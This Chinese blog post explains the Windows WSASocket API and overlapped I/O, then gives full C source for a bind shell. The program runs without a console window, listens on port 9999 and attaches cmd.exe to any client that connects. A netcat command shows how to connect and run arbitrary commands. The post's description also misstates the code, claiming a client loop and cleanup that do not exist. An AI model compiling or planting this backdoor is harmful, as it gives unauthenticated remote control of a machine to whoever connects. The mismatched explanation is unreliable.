17.2 实现无管道正向CMD

发布时间 2023-10-23 08:45:20作者: lyshark

WSASocket 无管道正向CMD,使用WSASocket函数创建一个TCP套接字,并绑定到一个本地地址和端口上。然后使用CreateProcess函数创建一个新的CMD进程,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,客户端可以通过网络连接到这个套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道正向CMD,因为CMD进程的输入输出是通过套接字而非管道进行的。

WSASocket 函数用于创建重叠IO套接字,重叠 I/O(Overlapped I/O)是一种异步 I/O(Asynchronous I/O)机制,它可以在执行 I/O操作时同时进行其他的操作或处理,提高了系统的并发性和效率。

在传统的同步 I/O 操作中,当一个线程请求进行 I/O 操作时,必须等待操作完成后才能进行其他任务的处理。然而,在网络应用场景下,因为 I/O 操作的延迟较高,线程等待 I/O 完成的时间往往比较长,从而影响系统的资源利用率和性能。

与之相反,重叠 I/O 操作则不需要等待I/O 操作的完成,线程可以在 I/O 操作进行的同时执行其他任务,当 I/O 操作完成后,系统会通过事件通知机制通知线程进行相应的处理。这种机制可以提高系统的并发性和响应速度,使系统更加高效和灵活。

重叠 I/O 通常使用异步 I/O 完成端口(IOCP)机制实现。IOCP 是一种基于事件驱动的 I/O 模型,它提供了一种高效的异步 I/O 操作方式,不仅可以提高系统的并发性和响应速度,还可以减少系统资源的占用,从而达到提高系统性能的效果。

SOCKET WSASocket(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

在调用 WSASocket() 函数创建 socket 套接字时,可以通过设置 dwFlags 参数的 WSA_FLAG_OVERLAPPED 标记来启用重叠 I/O 操作模式。启用重叠 I/O 操作模式后,应用程序就可以使用异步 I/O 操作进行数据的读取、发送、接收等操作,同时进行其他的计算和处理操作。

要使用重叠 I/O 操作机制,应用程序需要更改套接字的 I/O 模式。在传统的 I/O 操作模式中,应用程序通过同步的方式向套接字发送或接收数据,然后等待操作完成。而在重叠 I/O 操作模式中,应用程序使用非阻塞的方式进行数据读取和发送操作,不会阻塞线程和进程的执行,同时可以用事件通知机制来处理 I/O 操作的完成。

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib,"Ws2_32")

int main(int argc, char *argv[])
{
  WSADATA ws;
  SOCKET listenFD;

  // 初始化WSA库
  WSAStartup(MAKEWORD(2, 2), &ws);

  // 启用WSASocket异步IO
  listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  
  // 监听本机9999端口
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_port = htons(9999);
  server.sin_addr.s_addr = ADDR_ANY;

  // 绑定套接字
  bind(listenFD, (sockaddr *)&server, sizeof(server));
  listen(listenFD, 2);

  // 等待客户端连接
  int iAddrSize = sizeof(server);
  SOCKET clientFD = accept(listenFD, (sockaddr *)&server, &iAddrSize);

  STARTUPINFO si;
  ZeroMemory(&si, sizeof(si));

  // 设置隐藏命令行,并绑定输入输出错误流到套接字上
  si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  si.wShowWindow = SW_HIDE;
  si.wShowWindow = SW_SHOWNORMAL;
  si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;

  // 创建CMD进程
  char cmdLine[] = "cmd.exe";
  PROCESS_INFORMATION ProcessInformation;
  CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
  return 0;
}

如上所示代码使用 WSASocket() 函数创建了一个 TCP 套接字,并使用 bind()listen() 函数将套接字绑定到本地 IP 和端口,然后不断地接受客户端的连接请求并为每个客户端请求启动一个新的 CMD 进程。在 CMD 进程启动后,将其标准输入、输出和错误输出重定向到已连接的套接字上,这将使得客户端可以通过网络接收到 CMD 的输出结果。同时,在 CMD 进程退出后,服务器会等待一段时间然后关闭套接字并释放资源。

读者可自行编译上述代码片段,并运行起来此时程序会启用9999端口等待客户端的连接,客户端可使用netcat程序通过nc -t 127.0.0.1 9999的方式连接到目标进程内,此时读者可实现任意的命令执行;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/8848df01.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!